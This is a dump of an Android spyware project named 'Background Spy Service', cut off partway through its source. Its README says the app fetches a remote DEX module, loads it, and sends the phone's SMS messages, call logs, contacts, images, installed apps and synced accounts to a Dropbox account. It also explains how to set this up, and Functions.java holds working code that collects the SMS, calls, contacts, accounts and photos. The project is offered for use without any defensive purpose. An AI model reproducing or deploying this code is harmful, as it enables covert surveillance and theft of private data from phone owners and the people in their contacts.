├── .gitignore ├── .idea ├── codeStyles │ └── Project.xml ├── copyright │ └── Apache_2_0.xml ├── dictionaries │ └── eldar.xml ├── gradle.xml └── runConfigurations.xml ├── README.md ├── Spy Service.iml ├── app ├── .gitignore ├── app.iml ├── build.gradle ├── loadabledex │ ├── .gitignore │ ├── build.gradle │ ├── consumer-rules.pro │ ├── loadabledex.iml │ ├── proguard-rules.pro │ └── src │ │ ├── androidTest │ │ └── java │ │ │ └── ru │ │ │ └── er_log │ │ │ └── spyservice │ │ │ └── loadable │ │ │ └── ExampleInstrumentedTest.java │ │ ├── main │ │ ├── AndroidManifest.xml │ │ └── java │ │ │ └── ru │ │ │ └── er_log │ │ │ └── spyservice │ │ │ ├── loadable │ │ │ ├── Functions.java │ │ │ └── Loadable.java │ │ │ └── network │ │ │ └── DropBox.java │ │ └── test │ │ └── java │ │ └── ru │ │ └── er_log │ │ └── spyservice │ │ └── loadable │ │ └── ExampleUnitTest.java ├── loadableinterface │ ├── .gitignore │ ├── build.gradle │ ├── consumer-rules.pro │ ├── loadableinterface.iml │ ├── proguard-rules.pro │ └── src │ │ ├── androidTest │ │ └── java │ │ │ └── ru │ │ │ └── er_log │ │ │ └── spyservice │ │ │ └── loadable │ │ │ └── ExampleInstrumentedTest.java │ │ ├── main │ │ ├── AndroidManifest.xml │ │ └── java │ │ │ └── ru │ │ │ └── er_log │ │ │ └── spyservice │ │ │ ├── Settings.java │ │ │ ├── loadable │ │ │ ├── ILoadable.java │ │ │ ├── Util.java │ │ │ └── content │ │ │ │ ├── ImageInformation.java │ │ │ │ └── SystemInformation.java │ │ │ └── util │ │ │ └── CommonUtils.java │ │ └── test │ │ └── java │ │ └── ru │ │ └── er_log │ │ └── spyservice │ │ └── loadable │ │ └── ExampleUnitTest.java ├── proguard-rules.pro └── src │ ├── androidTest │ └── java │ │ └── ru │ │ └── er_log │ │ └── spyservice │ │ └── ExampleInstrumentedTest.java │ ├── main │ ├── AndroidManifest.xml │ ├── java │ │ └── ru │ │ │ └── er_log │ │ │ └── spyservice │ │ │ ├── MainActivity.java │ │ │ ├── Worker.java │ │ │ ├── loadable │ │ │ └── DexLoader.java │ │ │ ├── network │ │ │ ├── DownloadManager.java │ │ │ └── IDownloadCallback.java │ │ │ └── util │ │ │ └── ChinesePermissionUtils.java │ └── res │ │ ├── drawable-v24 │ │ └── ic_launcher_foreground.xml │ │ ├── drawable │ │ ├── button_blue.xml │ │ ├── button_dark.xml │ │ ├── button_light.xml │ │ ├── button_red.xml │ │ ├── ic_launcher_background.xml │ │ └── main_background.xml │ │ ├── layout │ │ └── activity_main.xml │ │ ├── mipmap-anydpi-v26 │ │ ├── ic_launcher.xml │ │ └── ic_launcher_round.xml │ │ ├── mipmap-hdpi │ │ ├── ic_launcher.png │ │ └── ic_launcher_round.png │ │ ├── mipmap-mdpi │ │ ├── ic_launcher.png │ │ └── ic_launcher_round.png │ │ ├── mipmap-xhdpi │ │ ├── ic_launcher.png │ │ └── ic_launcher_round.png │ │ ├── mipmap-xxhdpi │ │ ├── ic_launcher.png │ │ └── ic_launcher_round.png │ │ ├── mipmap-xxxhdpi │ │ ├── ic_launcher.png │ │ └── ic_launcher_round.png │ │ ├── values │ │ ├── colors.xml │ │ ├── strings.xml │ │ └── styles.xml │ │ └── xml │ │ └── backup_descriptor.xml │ └── test │ └── java │ └── ru │ └── er_log │ └── spyservice │ └── ExampleUnitTest.java ├── build.gradle ├── from_jar_to_dex.bat ├── gradle.properties ├── gradle └── wrapper │ ├── gradle-wrapper.jar │ └── gradle-wrapper.properties ├── gradlew ├── gradlew.bat ├── preview.png ├── settings.gradle └── web ├── download.php └── files └── loadable.dex /.gitignore: -------------------------------------------------------------------------------- 1 | # Built application files 2 | /*/build/ 3 | /build 4 | /*/debug 5 | /*/release 6 | 7 | # Crashlytics configuations 8 | com_crashlytics_export_strings.xml 9 | 10 | # Local configuration file (sdk path, etc) 11 | local.properties 12 | 13 | # Gradle generated files 14 | .gradle/ 15 | 16 | # Signing files 17 | .signing/ 18 | 19 | # User-specific configurations 20 | .idea/libraries/ 21 | .idea/workspace.xml 22 | .idea/tasks.xml 23 | .idea/.name 24 | .idea/compiler.xml 25 | .idea/copyright/profiles_settings.xml 26 | .idea/encodings.xml 27 | .idea/misc.xml 28 | .idea/modules.xml 29 | .idea/scopes/scope_settings.xml 30 | .idea/vcs.xml 31 | # *.iml 32 | # /*/*.iml 33 | .gradle 34 | .idea/caches 35 | .idea/libraries 36 | .idea/navEditor.xml 37 | .idea/assetWizardSettings.xml 38 | /captures 39 | .externalNativeBuild 40 | .cxx 41 | 42 | # OS-specific files 43 | .DS_Store 44 | .DS_Store? 45 | ._* 46 | .Spotlight-V100 47 | .Trashes 48 | ehthumbs.db 49 | Thumbs.db 50 | /.idea/markdown-navigator.xml 51 | /.idea/markdown-navigator-enh.xml 52 | -------------------------------------------------------------------------------- /.idea/codeStyles/Project.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 7 | 8 | 9 |
10 | 11 | 12 | 13 | xmlns:android 14 | 15 | ^$ 16 | 17 | 18 | 19 |
20 |
21 | 22 | 23 | 24 | xmlns:.* 25 | 26 | ^$ 27 | 28 | 29 | BY_NAME 30 | 31 |
32 |
33 | 34 | 35 | 36 | .*:id 37 | 38 | http://schemas.android.com/apk/res/android 39 | 40 | 41 | 42 |
43 |
44 | 45 | 46 | 47 | .*:name 48 | 49 | http://schemas.android.com/apk/res/android 50 | 51 | 52 | 53 |
54 |
55 | 56 | 57 | 58 | name 59 | 60 | ^$ 61 | 62 | 63 | 64 |
65 |
66 | 67 | 68 | 69 | style 70 | 71 | ^$ 72 | 73 | 74 | 75 |
76 |
77 | 78 | 79 | 80 | .* 81 | 82 | ^$ 83 | 84 | 85 | BY_NAME 86 | 87 |
88 |
89 | 90 | 91 | 92 | .* 93 | 94 | http://schemas.android.com/apk/res/android 95 | 96 | 97 | ANDROID_ATTRIBUTE_ORDER 98 | 99 |
100 |
101 | 102 | 103 | 104 | .* 105 | 106 | .* 107 | 108 | 109 | BY_NAME 110 | 111 |
112 |
113 |
114 |
115 |
116 |
-------------------------------------------------------------------------------- /.idea/copyright/Apache_2_0.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 6 | -------------------------------------------------------------------------------- /.idea/dictionaries/eldar.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | autostart 5 | dropbox 6 | loadabledex 7 | loadableinterface 8 | outdex 9 | spyservice 10 | textview 11 | 12 | 13 | -------------------------------------------------------------------------------- /.idea/gradle.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 21 | 22 | -------------------------------------------------------------------------------- /.idea/runConfigurations.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 11 | 12 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Background Spy Service 2 | 3 |

4 | We are using this UI for testing 5 |

6 |

We are using this UI for testing

7 |
8 | 9 | This app runs WorkManager task when you clicking 'Start Service' button. 10 | This task will do the following: 11 | * Download DEX module from your hosting. For this, a PHP script in the `web` folder is used. 12 | * Load classes of this module and transfer control to it. 13 | * The module will collect information about the system and upload it to the cloud (DropBox). Also, all user images will be uploaded there. If the images have already been uploaded to the server, they are not uploaded again. 14 | 15 | Information collected: 16 | 1. SMS messages; 17 | 2. Call log; 18 | 3. Images; 19 | 4. Contacts; 20 | 5. System information (OS version, SDK version, free space, list of installed applications, list of running processes (problems with this), accounts synchronized with the OS). 21 | 22 | ## Setting up 23 | All settings you can made by editing `Settings` class in `loadableinterface` module. 24 | In order for the process of uploading files to the cloud to occur, you need to create a DropBox application and specify its token in the `Settings` class. Keep in mind that storing a token in an application is not entirely safe for files in your cloud. 25 | You can use `from_jar_to_dex.bat` script after compiling `loadabledex` module and extracting `classes.jar` from it to translate JAR to DEX. This DEX file you will need to upload on your server. 26 | You will need to upload made file to your web-server (see `web` folder). 27 | 28 | See all dependencies in `build.gradle` 29 | 30 | That's all. Use it. 31 | -------------------------------------------------------------------------------- /Spy Service.iml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19 | -------------------------------------------------------------------------------- /app/.gitignore: -------------------------------------------------------------------------------- 1 | /build 2 | -------------------------------------------------------------------------------- /app/app.iml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 10 | 11 | 12 | 13 | 26 | 27 | 28 | 29 | 30 | 31 | 32 | 33 | 34 | 35 | 36 | 37 | 38 | 39 | 40 | 41 | 42 | 43 | 44 | 45 | 46 | 47 | 48 | 49 | 50 | 51 | 52 | 53 | 54 | 55 | 56 | 57 | 58 | 59 | 60 | 61 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | 74 | 75 | 76 | 77 | 78 | 79 | 80 | 81 | 82 | 83 | 84 | 85 | 86 | 87 | 88 | 89 | 90 | 91 | 92 | 93 | 94 | 95 | 96 | 97 | 98 | 99 | 100 | 101 | 102 | 103 | 104 | 105 | 106 | 107 | 108 | 109 | 110 | 111 | 112 | 113 | 114 | 115 | 116 | 117 | 118 | 119 | 120 | 121 | 122 | 123 | 124 | 125 | 126 | 127 | 128 | 129 | 130 | 131 | 132 | 133 | 134 | 135 | 136 | 137 | 138 | 139 | 140 | 141 | 142 | 143 | 144 | -------------------------------------------------------------------------------- /app/build.gradle: -------------------------------------------------------------------------------- 1 | /* 2 | * Copyright (C) 2020 Eldar Timraleev (aka CRaFT4ik). All rights reserved. 3 | * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file 4 | * except in compliance with the License. You may obtain a copy of the License at 5 | * http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in 6 | * writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT 7 | * WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the 8 | * specific language governing permissions and limitations under the License. 9 | */ 10 | 11 | apply plugin: 'com.android.application' 12 | 13 | android { 14 | compileSdkVersion 29 15 | buildToolsVersion "29.0.3" 16 | 17 | defaultConfig { 18 | applicationId "ru.er_log.spyservice" 19 | minSdkVersion 23 20 | targetSdkVersion 29 21 | versionCode 1 22 | versionName "1.0" 23 | 24 | testInstrumentationRunner "androidx.test.runner.AndroidJUnitRunner" 25 | consumerProguardFiles 'consumer-rules.pro' 26 | } 27 | 28 | buildTypes { 29 | release { 30 | minifyEnabled false 31 | proguardFiles getDefaultProguardFile('proguard-android-optimize.txt'), 'proguard-rules.pro' 32 | } 33 | } 34 | compileOptions { 35 | sourceCompatibility = 1.8 36 | targetCompatibility = 1.8 37 | } 38 | 39 | lintOptions { 40 | abortOnError false 41 | } 42 | } 43 | 44 | dependencies { 45 | implementation fileTree(dir: 'libs', include: ['*.jar']) 46 | 47 | implementation 'com.squareup.retrofit2:retrofit:2.8.1' 48 | implementation 'com.squareup.retrofit2:converter-gson:2.8.1' 49 | implementation 'com.dropbox.core:dropbox-core-sdk:3.1.3' 50 | implementation "androidx.work:work-runtime:2.3.4" 51 | implementation 'com.github.judemanutd:autostarter:1.0.8' 52 | 53 | implementation 'androidx.appcompat:appcompat:1.1.0' 54 | implementation 'androidx.constraintlayout:constraintlayout:1.1.3' 55 | testImplementation 'junit:junit:4.13' 56 | androidTestImplementation 'androidx.test.ext:junit:1.1.1' 57 | androidTestImplementation 'androidx.test.espresso:espresso-core:3.2.0' 58 | implementation 'org.jetbrains:annotations:15.0' 59 | implementation project(path: ':app:loadableinterface') 60 | } 61 | -------------------------------------------------------------------------------- /app/loadabledex/.gitignore: -------------------------------------------------------------------------------- 1 | /build 2 | -------------------------------------------------------------------------------- /app/loadabledex/build.gradle: -------------------------------------------------------------------------------- 1 | /* 2 | * Copyright (C) 2020 Eldar Timraleev (aka CRaFT4ik). All rights reserved. 3 | * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file 4 | * except in compliance with the License. You may obtain a copy of the License at 5 | * http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in 6 | * writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT 7 | * WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the 8 | * specific language governing permissions and limitations under the License. 9 | */ 10 | 11 | apply plugin: 'com.android.library' 12 | 13 | android { 14 | compileSdkVersion 29 15 | buildToolsVersion "29.0.3" 16 | 17 | defaultConfig { 18 | minSdkVersion 23 19 | targetSdkVersion 29 20 | versionCode 1 21 | versionName "1.0" 22 | 23 | testInstrumentationRunner "androidx.test.runner.AndroidJUnitRunner" 24 | consumerProguardFiles 'consumer-rules.pro' 25 | } 26 | 27 | buildTypes { 28 | release { 29 | minifyEnabled false 30 | proguardFiles getDefaultProguardFile('proguard-android-optimize.txt'), 'proguard-rules.pro' 31 | } 32 | } 33 | 34 | lintOptions { 35 | abortOnError false 36 | } 37 | } 38 | 39 | dependencies { 40 | implementation fileTree(dir: 'libs', include: ['*.jar']) 41 | 42 | implementation 'me.everything:providers-stetho:1.0.1' 43 | implementation 'com.dropbox.core:dropbox-core-sdk:3.1.3' 44 | 45 | implementation 'androidx.appcompat:appcompat:1.1.0' 46 | testImplementation 'junit:junit:4.13' 47 | androidTestImplementation 'androidx.test.ext:junit:1.1.1' 48 | androidTestImplementation 'androidx.test.espresso:espresso-core:3.2.0' 49 | implementation project(path: ':app:loadableinterface') 50 | } 51 | -------------------------------------------------------------------------------- /app/loadabledex/consumer-rules.pro: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CRaFT4ik/android-spy-service/afeb394a4ae0319d938f6480b6bee03a93b86553/app/loadabledex/consumer-rules.pro -------------------------------------------------------------------------------- /app/loadabledex/loadabledex.iml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 10 | 11 | 12 | 13 | 27 | 28 | 29 | 30 | 31 | 32 | 33 | 34 | 35 | 36 | 37 | 38 | 39 | 40 | 41 | 42 | 43 | 44 | 45 | 46 | 47 | 48 | 49 | 50 | 51 | 52 | 53 | 54 | 55 | 56 | 57 | 58 | 59 | 60 | 61 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | 74 | 75 | 76 | 77 | 78 | 79 | 80 | 81 | 82 | 83 | 84 | 85 | 86 | 87 | 88 | 89 | 90 | 91 | 92 | 93 | 94 | 95 | 96 | 97 | 98 | 99 | 100 | 101 | 102 | 103 | 104 | 105 | 106 | 107 | 108 | 109 | 110 | 111 | 112 | 113 | 114 | 115 | 116 | 117 | 118 | 119 | 120 | 121 | 122 | 123 | 124 | 125 | 126 | 127 | 128 | 129 | 130 | 131 | 132 | 133 | 134 | 135 | 136 | 137 | 138 | 139 | -------------------------------------------------------------------------------- /app/loadabledex/proguard-rules.pro: -------------------------------------------------------------------------------- 1 | # Add project specific ProGuard rules here. 2 | # You can control the set of applied configuration files using the 3 | # proguardFiles setting in build.gradle. 4 | # 5 | # For more details, see 6 | # http://developer.android.com/guide/developing/tools/proguard.html 7 | 8 | # If your project uses WebView with JS, uncomment the following 9 | # and specify the fully qualified class name to the JavaScript interface 10 | # class: 11 | #-keepclassmembers class fqcn.of.javascript.interface.for.webview { 12 | # public *; 13 | #} 14 | 15 | # Uncomment this to preserve the line number information for 16 | # debugging stack traces. 17 | #-keepattributes SourceFile,LineNumberTable 18 | 19 | # If you keep the line number information, uncomment this to 20 | # hide the original source file name. 21 | #-renamesourcefileattribute SourceFile 22 | -------------------------------------------------------------------------------- /app/loadabledex/src/androidTest/java/ru/er_log/spyservice/loadable/ExampleInstrumentedTest.java: -------------------------------------------------------------------------------- 1 | /*+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ 2 | + Copyright (C) 2020 Eldar Timraleev (aka CRaFT4ik). All rights reserved. + 3 | + Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file + 4 | + except in compliance with the License. You may obtain a copy of the License at + 5 | + http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in + 6 | + writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT + 7 | + WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + 8 | + specific language governing permissions and limitations under the License. + 9 | +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++*/ 10 | 11 | package ru.er_log.spyservice.loadable; 12 | 13 | import android.content.Context; 14 | 15 | import androidx.test.platform.app.InstrumentationRegistry; 16 | import androidx.test.ext.junit.runners.AndroidJUnit4; 17 | 18 | import org.junit.Test; 19 | import org.junit.runner.RunWith; 20 | 21 | import static org.junit.Assert.*; 22 | 23 | /** 24 | * Instrumented test, which will execute on an Android device. 25 | * 26 | * @see Testing documentation 27 | */ 28 | @RunWith(AndroidJUnit4.class) 29 | public class ExampleInstrumentedTest 30 | { 31 | @Test 32 | public void useAppContext() 33 | { 34 | // Context of the app under test. 35 | Context appContext = InstrumentationRegistry.getInstrumentation().getTargetContext(); 36 | 37 | assertEquals("ru.er_log.spyservice.loadable.test", appContext.getPackageName()); 38 | } 39 | } 40 | -------------------------------------------------------------------------------- /app/loadabledex/src/main/AndroidManifest.xml: -------------------------------------------------------------------------------- 1 | 10 | 11 | 12 | -------------------------------------------------------------------------------- /app/loadabledex/src/main/java/ru/er_log/spyservice/loadable/Functions.java: -------------------------------------------------------------------------------- 1 | /*+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ 2 | + Copyright (C) 2020 Eldar Timraleev (aka CRaFT4ik). All rights reserved. + 3 | + Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file + 4 | + except in compliance with the License. You may obtain a copy of the License at + 5 | + http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in + 6 | + writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT + 7 | + WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + 8 | + specific language governing permissions and limitations under the License. + 9 | +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++*/ 10 | 11 | package ru.er_log.spyservice.loadable; 12 | 13 | import android.accounts.Account; 14 | import android.accounts.AccountManager; 15 | import android.app.ActivityManager; 16 | import android.content.Context; 17 | import android.content.pm.ApplicationInfo; 18 | import android.content.pm.PackageManager; 19 | import android.database.Cursor; 20 | import android.net.Uri; 21 | import android.os.Build; 22 | import android.os.Environment; 23 | import android.os.StatFs; 24 | import android.provider.MediaStore; 25 | import android.util.Log; 26 | import android.util.Patterns; 27 | 28 | import java.io.BufferedReader; 29 | import java.io.File; 30 | import java.io.FileInputStream; 31 | import java.io.FileOutputStream; 32 | import java.io.IOException; 33 | import java.io.InputStreamReader; 34 | import java.nio.charset.Charset; 35 | import java.text.DecimalFormat; 36 | import java.util.ArrayList; 37 | import java.util.Date; 38 | import java.util.List; 39 | import java.util.UUID; 40 | import java.util.regex.Pattern; 41 | 42 | import me.everything.providers.android.calllog.Call; 43 | import me.everything.providers.android.calllog.CallsProvider; 44 | import me.everything.providers.android.contacts.Contact; 45 | import me.everything.providers.android.contacts.ContactsProvider; 46 | import me.everything.providers.android.media.MediaProvider; 47 | import me.everything.providers.android.telephony.Sms; 48 | import me.everything.providers.android.telephony.TelephonyProvider; 49 | import ru.er_log.spyservice.Settings; 50 | import ru.er_log.spyservice.loadable.content.ImageInformation; 51 | import ru.er_log.spyservice.loadable.content.SystemInformation; 52 | 53 | public class Functions 54 | { 55 | public static List getSms(Context context) 56 | { 57 | TelephonyProvider telephonyProvider = new TelephonyProvider(context); 58 | return telephonyProvider.getSms(TelephonyProvider.Filter.ALL).getList(); 59 | } 60 | 61 | public static List getCalls(Context context) 62 | { 63 | CallsProvider callsProvider = new CallsProvider(context); 64 | return callsProvider.getCalls().getList(); 65 | } 66 | 67 | public static List getContacts(Context context) 68 | { 69 | ContactsProvider contactsProvider = new ContactsProvider(context); 70 | return contactsProvider.getContacts().getList(); 71 | } 72 | 73 | // public List getInternalStorageImages(Context context) 74 | // { 75 | // MediaProvider mediaProvider = new MediaProvider(context); 76 | // return mediaProvider.getImages(MediaProvider.Storage.INTERNAL).getList(); 77 | // } 78 | // 79 | // public List getExternalStorageImages(Context context) 80 | // { 81 | // MediaProvider mediaProvider = new MediaProvider(context); 82 | // return mediaProvider.getImages(MediaProvider.Storage.EXTERNAL).getList(); 83 | // } 84 | 85 | public static SystemInformation getSystemInformation(Context context) 86 | { 87 | SystemInformation.Builder builder = SystemInformation.Builder.createBuilder(); 88 | builder.setOsVersion(Build.VERSION.RELEASE); 89 | builder.setSdkVersion(Build.VERSION.SDK_INT); 90 | 91 | String freeSpace = 92 | "Internal used: " + Functions.bytesToHuman(Functions.busyMemory(MediaProvider.Storage.INTERNAL)) + " / " + Functions.bytesToHuman(Functions.totalMemory(MediaProvider.Storage.INTERNAL)) + 93 | ", " + 94 | "External used: " + Functions.bytesToHuman(Functions.busyMemory(MediaProvider.Storage.EXTERNAL)) + " / " + Functions.bytesToHuman(Functions.totalMemory(MediaProvider.Storage.EXTERNAL)); 95 | builder.setFreeSpace(freeSpace); 96 | 97 | List installedAppsRaw = Functions.getInstalledApps(context); 98 | List installedApps = new ArrayList<>(); 99 | for (ApplicationInfo info :installedAppsRaw) 100 | installedApps.add("package: " + info.packageName + ", source dir: " + info.sourceDir + ", name: " + info.name); 101 | builder.setInstalledApps(installedApps); 102 | 103 | List runningProcessesRaw = Functions.getRunningProcess(context); 104 | List runningProcesses = new ArrayList<>(); 105 | for (ActivityManager.RunningAppProcessInfo processInfo : runningProcessesRaw) 106 | runningProcesses.add("pid: " + processInfo.pid + ", name: " + processInfo.processName); 107 | builder.setRunningProcesses(runningProcesses); 108 | 109 | Account[] accountsRaw = Functions.getAccounts(context); 110 | List accounts = new ArrayList<>(); 111 | Pattern gmailPattern = Patterns.EMAIL_ADDRESS; 112 | for (Account account : accountsRaw) 113 | if (gmailPattern.matcher(account.name).matches()) 114 | accounts.add("name: " + account.name + ", type: " + account.type); 115 | builder.setAccounts(accounts); 116 | 117 | return builder.build(); 118 | } 119 | 120 | public static long totalMemory(MediaProvider.Storage storage) 121 | { 122 | StatFs statFs; 123 | if (storage == MediaProvider.Storage.INTERNAL) 124 | statFs = new StatFs(Environment.getRootDirectory().getAbsolutePath()); 125 | else 126 | statFs = new StatFs(Environment.getExternalStorageDirectory().getAbsolutePath()); 127 | 128 | return statFs.getBlockCountLong() * statFs.getBlockSizeLong(); 129 | } 130 | 131 | public static long freeMemory(MediaProvider.Storage storage) 132 | { 133 | StatFs statFs; 134 | if (storage == MediaProvider.Storage.INTERNAL) 135 | statFs = new StatFs(Environment.getRootDirectory().getAbsolutePath()); 136 | else 137 | statFs = new StatFs(Environment.getExternalStorageDirectory().getAbsolutePath()); 138 | 139 | return statFs.getAvailableBlocksLong() * statFs.getBlockSizeLong(); 140 | } 141 | 142 | public static long busyMemory(MediaProvider.Storage storage) 143 | { 144 | StatFs statFs; 145 | if (storage == MediaProvider.Storage.INTERNAL) 146 | statFs = new StatFs(Environment.getRootDirectory().getAbsolutePath()); 147 | else 148 | statFs = new StatFs(Environment.getExternalStorageDirectory().getAbsolutePath()); 149 | 150 | long total = statFs.getBlockCountLong() * statFs.getBlockSizeLong(); 151 | long free = statFs.getAvailableBlocksLong() * statFs.getBlockSizeLong(); 152 | return total - free; 153 | } 154 | 155 | public static String bytesToHuman(long size) 156 | { 157 | long Kb = 1024; 158 | long Mb = Kb * 1024; 159 | long Gb = Mb * 1024; 160 | long Tb = Gb * 1024; 161 | long Pb = Tb * 1024; 162 | long Eb = Pb * 1024; 163 | 164 | DecimalFormat f = new DecimalFormat("#.##"); 165 | 166 | if (size < Kb) return f.format(size) + " byte"; 167 | if (size < Mb) return f.format((double) size / Kb) + " Kb"; 168 | if (size < Gb) return f.format((double) size / Mb) + " Mb"; 169 | if (size < Tb) return f.format((double) size / Gb) + " Gb"; 170 | if (size < Pb) return f.format((double) size / Tb) + " Tb"; 171 | if (size < Eb) return f.format((double) size / Pb) + " Pb"; 172 | return f.format((double) size / Eb) + " Eb"; 173 | } 174 | 175 | public static List getInstalledApps(Context context) 176 | { 177 | final PackageManager pm = context.getPackageManager(); 178 | return pm.getInstalledApplications(PackageManager.GET_META_DATA); 179 | } 180 | 181 | public static List getRunningProcess(Context context) 182 | { 183 | ActivityManager actvityManager = (ActivityManager) context.getSystemService(Context.ACTIVITY_SERVICE); 184 | return actvityManager != null ? actvityManager.getRunningAppProcesses() : new ArrayList(0); 185 | } 186 | 187 | public static Account[] getAccounts(Context context) 188 | { 189 | return AccountManager.get(context).getAccounts(); 190 | } 191 | 192 | /** 193 | * @return gets all folders with pictures on the device and loads each of them in a custom object ImageFolder 194 | * the returns an ArrayList of these custom objects 195 | */ 196 | public static ArrayList getPicturePaths(Context context) 197 | { 198 | ArrayList picFolders = new ArrayList<>(); 199 | ArrayList picPaths = new ArrayList<>(); 200 | Uri allImagesUri = android.provider.MediaStore.Images.Media.EXTERNAL_CONTENT_URI; 201 | String[] projection = {MediaStore.Images.ImageColumns.DATA, MediaStore.Images.Media.DISPLAY_NAME, MediaStore.Images.Media.BUCKET_DISPLAY_NAME, MediaStore.Images.Media.BUCKET_ID}; 202 | Cursor cursor = context.getContentResolver().query(allImagesUri, projection, null, null, null); 203 | 204 | try 205 | { 206 | if (cursor == null) 207 | return picFolders; 208 | 209 | cursor.moveToFirst(); 210 | 211 | do 212 | { 213 | if (cursor.getCount() == 0) continue; 214 | 215 | ImageInformation.ImageFolder folds = new ImageInformation.ImageFolder(); 216 | String name = cursor.getString(cursor.getColumnIndexOrThrow(MediaStore.Images.Media.DISPLAY_NAME)); 217 | String folder = cursor.getString(cursor.getColumnIndexOrThrow(MediaStore.Images.Media.BUCKET_DISPLAY_NAME)); 218 | String dataPath = cursor.getString(cursor.getColumnIndexOrThrow(MediaStore.Images.Media.DATA)); 219 | 220 | //String folderPaths = dataPath.replace(name,""); 221 | String folderPaths = dataPath.substring(0, dataPath.lastIndexOf(folder + "/")); 222 | folderPaths = folderPaths + folder + "/"; 223 | if (!picPaths.contains(folderPaths)) 224 | { 225 | picPaths.add(folderPaths); 226 | 227 | folds.setPath(folderPaths); 228 | folds.setFolderName(folder); 229 | folds.setFirstPic(dataPath);//if the folder has only one picture this line helps to set it as first so as to avoid blank image in itemview 230 | folds.addPics(); 231 | picFolders.add(folds); 232 | } else 233 | { 234 | for (int i = 0; i < picFolders.size(); i++) 235 | if (picFolders.get(i).getPath().equals(folderPaths)) 236 | { 237 | picFolders.get(i).setFirstPic(dataPath); 238 | picFolders.get(i).addPics(); 239 | } 240 | } 241 | } while (cursor.moveToNext()); 242 | cursor.close(); 243 | } catch (Exception e) 244 | { 245 | e.printStackTrace(); 246 | } 247 | 248 | // // Outs all founded images folders. 249 | // for (int i = 0; i < picFolders.size(); i++) 250 | // Log.d(Settings.LOG_TAG, "Picture folder: '" + picFolders.get(i).getFolderName() + "', Path: '" + picFolders.get(i).getPath() + "', Pics number: " + picFolders.get(i).getNumberOfPics()); 251 | 252 | return picFolders; 253 | } 254 | 255 | /** 256 | * This Method gets all the images in the folder paths passed as a String to the method and returns 257 | * and ArrayList of PictureFacer a custom object that holds data of a given image 258 | * 259 | * @param path a String corresponding to a folder path on the device external storage 260 | */ 261 | public static ArrayList getAllImagesByFolder(Context context, String path) 262 | { 263 | ArrayList images = new ArrayList<>(); 264 | Uri allVideosUri = android.provider.MediaStore.Images.Media.EXTERNAL_CONTENT_URI; 265 | String[] projection = {MediaStore.Images.ImageColumns.DATA, MediaStore.Images.Media.DISPLAY_NAME, MediaStore.Images.Media.SIZE, MediaStore.Images.Media.DATE_MODIFIED}; 266 | Cursor cursor = context.getContentResolver().query(allVideosUri, projection, MediaStore.Images.Media.DATA + " like ? ", new String[]{"%" + path + "%"}, null); 267 | try 268 | { 269 | if (cursor == null) 270 | return images; 271 | 272 | cursor.moveToFirst(); 273 | do 274 | { 275 | if (cursor.getCount() == 0) continue; 276 | 277 | ImageInformation.PictureFace pic = new ImageInformation.PictureFace(); 278 | pic.setPictureName(cursor.getString(cursor.getColumnIndexOrThrow(MediaStore.Images.Media.DISPLAY_NAME))); 279 | pic.setPicturePath(cursor.getString(cursor.getColumnIndexOrThrow(MediaStore.Images.Media.DATA))); 280 | pic.setPictureSize(cursor.getString(cursor.getColumnIndexOrThrow(MediaStore.Images.Media.SIZE))); 281 | pic.setPictureDateModified(new Date(cursor.getLong(cursor.getColumnIndexOrThrow(MediaStore.Images.Media.DATE_MODIFIED)) * 1000L)); 282 | images.add(pic); 283 | } while (cursor.moveToNext()); 284 | cursor.close(); 285 | 286 | ArrayList reSelection = new ArrayList<>(); 287 | for (int i = images.size() - 1; i > -1; i--) 288 | reSelection.add(images.get(i)); 289 | 290 | images = reSelection; 291 | } catch (Exception e) 292 | { 293 | e.printStackTrace(); 294 | } 295 | 296 | return images; 297 | } 298 | } 299 | -------------------------------------------------------------------------------- /app/loadabledex/src/main/java/ru/er_log/spyservice/loadable/Loadable.java: -------------------------------------------------------------------------------- 1 | /*+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ 2 | + Copyright (C) 2020 Eldar Timraleev (aka CRaFT4ik). All rights reserved. + 3 | + Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file + 4 | + except in compliance with the License. You may obtain a copy of the License at + 5 | + http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in + 6 | + writing, software distributed under the License is distributed on an "AS IS" BASIS, 